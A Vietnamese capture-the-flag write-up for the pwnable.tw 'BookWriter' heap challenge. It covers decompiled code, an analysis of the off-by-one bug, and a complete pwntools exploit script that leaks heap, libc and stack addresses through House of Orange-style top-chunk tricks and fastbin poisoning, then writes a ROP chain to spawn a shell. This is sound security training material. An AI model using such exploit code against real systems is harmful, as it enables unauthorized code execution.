BookWriter
Vuln: Off-by-one error cho phép attacker ghi out-of-bound vào kích thước của page, dẫn đến buffer overflow tuỳ ý trên heap khi chỉnh sửa page content.
Recon
Mitigation
$ pwn checksec bookwriter
[*] '/home/hungnt/pwnable.tw/bookwriter/bookwriter'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled$ file bookwriter
bookwriter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8c3e466870c649d07e84498bb143f1bb5916ae34, strippedGLIBC Version
pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
project homepage: https://sourceware.org/glibc/
read the source: https://elixir.bootlin.com/glibc/glibc-2.23/source
download the archive: https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
git clone https://sourceware.org/git/glibc.git
Mappings:
libc is at: 0x714c2aa00000
/home/hungnt/pwnable.tw/bookwriter/libc_64.so.6
ld is at: 0x714c2ae00000
/home/hungnt/pwnable.tw/bookwriter/ld-2.23.so
Symbolication:
has exported symbols: yes
has internal symbols: yes
has debug info: yesCode
main()
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdout, 0LL, 2, 0LL);
puts("Welcome to the BookWriter !");
input_author();
while ( 1 )
{
menu();
switch ( input_long() )
{
case 1LL:
add_page();
break;
case 2LL:
view_page();
break;
case 3LL:
edit_page();
break;
case 4LL:
info();
break;
case 5LL:
exit(0);
default:
puts("Invalid choice");
break;
}
}
}add_page()
int add_page()
{
unsigned int index; // [rsp+Ch] [rbp-14h]
char *page; // [rsp+10h] [rbp-10h]
__int64 size; // [rsp+18h] [rbp-8h]
for ( index = 0; ; ++index )
{
if ( index > 8 )
return puts("You can't add new page anymore!");
if ( !(&page_content)[index] )
break;
}
printf("Size of page :");
size = input_long();
page = (char *)malloc(size);
if ( !page )
{
puts("Error !");
exit(0);
}
printf("Content :");
read_input(page, size);
(&page_content)[index] = page;
page_size[index] = size;
++page_count;
return puts("Done !");
}view_page()
int view_page()
{
unsigned int index; // [rsp+Ch] [rbp-4h]
printf("Index of page :");
index = input_long();
if ( index > 7 )
{
puts("out of page:");
exit(0);
}
if ( !(&page_content)[index] )
return puts("Not found !");
printf("Page #%u \n", index);
return printf("Content :\n%s\n", (&page_content)[index]);
}edit_page()
int edit_page()
{
unsigned int index; // [rsp+Ch] [rbp-4h]
printf("Index of page :");
index = input_long();
if ( index > 7 )
{
puts("out of page:");
exit(0);
}
if ( !(&page_content)[index] )
return puts("Not found !");
printf("Content:");
read_input((&page_content)[index], page_size[index]);
page_size[index] = strlen((&page_content)[index]);
return puts("Done !");
}info()
unsigned __int64 info()
{
int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
choice = 0;
printf("Author : %s\n", author);
printf("Page : %u\n", (unsigned int)page_count);
printf("Do you want to change the author ? (yes:1 / no:0) ");
_isoc99_scanf("%d", &choice);
if ( choice == 1 )
input_author();
return __readfsqword(0x28u) ^ v2;
}Solve
Đập ngay vào mắt mình đó là off by one error. Dù số page tối đa là 8, nghĩa là index từ 0 -> 7, nhưng ở hàm add_page(), lại duyệt đến tận index = 8.
for ( index = 0; ; ++index )
{
if ( index > 8 )
return puts("You can't add new page anymore!");
if ( !(&page_content)[index] )
break;
}
Đồng nghĩa với việc duyệt đến size của page 0.
Tại hàm edit_page():
printf("Content:");
read_input((&page_content)[index], page_size[index]);
page_size[index] = strlen((&page_content)[index]);Nếu mình edit với content bắt đầu với null byte, thì strlen return về 0, size đc set về 0. Vậy sau khi mình set size của page 0 về 0, mình có thể tạo thêm page thứ 9, địa chỉ cấp phát đc ghi vào size của page 0.
Bây giờ, size của page 0 là rất lớn, mình có thể overflow tuỳ ý từ chunk 0.
Mục tiêu của mình là nghịch với các bins và làm sao đó leak đc libc và có AAW. Nhưng chương trình chẳng có chỗ nào gọi free() cả. Thế thì mình chơi bài free top chunk mà mình đã học được từ House Of Orange.
Để leak libc, mình free top chunk vào unsorted bin, đọc fd là xong. Nhưng xong giờ sao? chả làm gì được nữa cả. Muốn poison fastbin thì cần phải có lần free nữa, nhưng mà giờ top chunk ở rất xa page 0 rồi, sao mà overflow tới được.
Vậy ý tưởng của mình đó là:
- Leak địa chỉ heap với việc nhập đầy buffer của Author.
- Lần free top chunk đầu, mình cho vào fastbin trước, poison để cấp phát tới chỗ page_content luôn, mình kiểm soát đc toàn bộ page pointers để đọc ghi tuỳ ý.
- Giờ mình có địa chỉ heap rồi, mình ghi địa chỉ top chunk tiếp theo làm page.
- Tiếp tục áp dụng chiêu cũ để free top chunk lần 2, lần này vào unsorted bin để leak libc.
- Tiếp tục kiểm soát page pointers để leak stack từ environ.
- Tiếp tục kiểm soát page pointers để ghi đè return address để cuối cùng spawn shell.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("bookwriter_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10304
return remote(host, port)
p = conn()
def add_page(size, content):
slan(p, b'choice', 1)
slan(p, b'Size', size)
sa(p, b'Content', content)
sleep(0.01)
def edit_page(index, content):
slan(p, b'choice', 3)
slan(p, b'Index', index)
sa(p, b'Content', content)
sleep(0.01)
def show_page(index):
slan(p, b'choice', 2)
slan(p, b'Index', index)
def info():
slan(p, b'choice', 4)
size = 0x100
print("Author = 64 A's")
sa(p, b'Author', flat(pad(64))) # later to leak heap
print("Add 8 pages")
for i in range(8):
print("page", i)
add_page(size, b'A')
edit_page(0, b'\n') # Clear page size
add_page(size, b'A') # Fake page size
print("Fake top chunk size")
heap_layout = pad(size, b'\0')
heap_layout += flat(0, size + 0x11, pad(size, b'\0')) * 8
heap_layout += flat(0, 0x671)
edit_page(0, heap_layout) # Fake top chunk size
add_page(0x5c0, b'A') # Để lại chunk 0x80 cho vào fastbin
'''
leak heap với author ở đúng thời điểm này là ok nhất
leak heap trước khi free top chunk ở trên thì nó
malloc 1 chunk 0x1000 byte -> heap layout quá dài để
thoả mãn metadata các chunk dưới
'''
print("Free top chunk and leak heap")
info() # Cái này malloc gì đó tận 0x1000 byte, tiện thể nó free luôn chunk 0x80 vào fastbin
ru(p, pad(64))
heap_base = leak_bytes(rl(p).strip(), 0x10)
lg("heap base", heap_base)
print("Author contains fake heap metadata")
slan(p, b'change the author', 1)
sa(p, b'Author', flat(
pad(0x20),
0, 0x81,
0, 0
)) # Fake metadata để tí malloc vào đây ghi đè các page pointer
print("Overwrite page pointers")
page_content = 0x6020a0
heap_layout = pad(size, b'\0')
heap_layout += flat(0, size + 0x11, pad(size, b'\0')) * 8
heap_layout += flat(0, 0x5d1, pad(0x5c0, b'\0'))
heap_layout += flat(0, 0x81, page_content - 0x20)
edit_page(0, heap_layout)
add_page(0x70, b'A')
edit_page(0, b'\n')
add_page(0x70, flat(
0, 0,
page_content, # 0
page_content, # 1
heap_base + 0x22010, # 2, next top chunk for a second free
heap_base + 0x22010, # 3
0, 0, 0, 0,
p64(0x100) * 4
))
print("Fake top chunk size again and free it")
edit_page(2, flat(0, 0xff1)) # Fake top chunk again
add_page(0x1000, b'A') # Free top chunk to unsortedbin
# Leak libc
print("Leaking libc")
edit_page(3, pad(0x10))
show_page(3)
ru(p, pad(0x10))
libc.address = leak_bytes(rn(p, 6), 0x3c3b78)
lg("libc base", libc.address)
# Leak stack
print("Leaking stack")
edit_page(0, flat(
page_content, # 0, phải là địa chỉ hợp lệ mới đc, do strlen làm gì đó
page_content, # 1
libc.symbols['__environ'], # 2
0, 0, 0, 0, 0,
p64(0x100) * 3
))
show_page(2)
ru(p, b'Content :\n')
stack = leak_bytes(rn(p, 6))
lg("stack", stack)
# Point to return address
print("Overwriting return address with ROP chain")
edit_page(1, flat(
p64(stack - 0x110) * 8,
p64(0x100) * 8
))
# Overwrite return address
edit_page(7, flat(
libc.address + 0x0000000000021102, # pop rdi; ret
binsh(libc),
libc.address + 0x000000000002058f, # nop; ret
libc.symbols['system'],
))
print("Spawn shell")
rr(p, 1)
ia(p)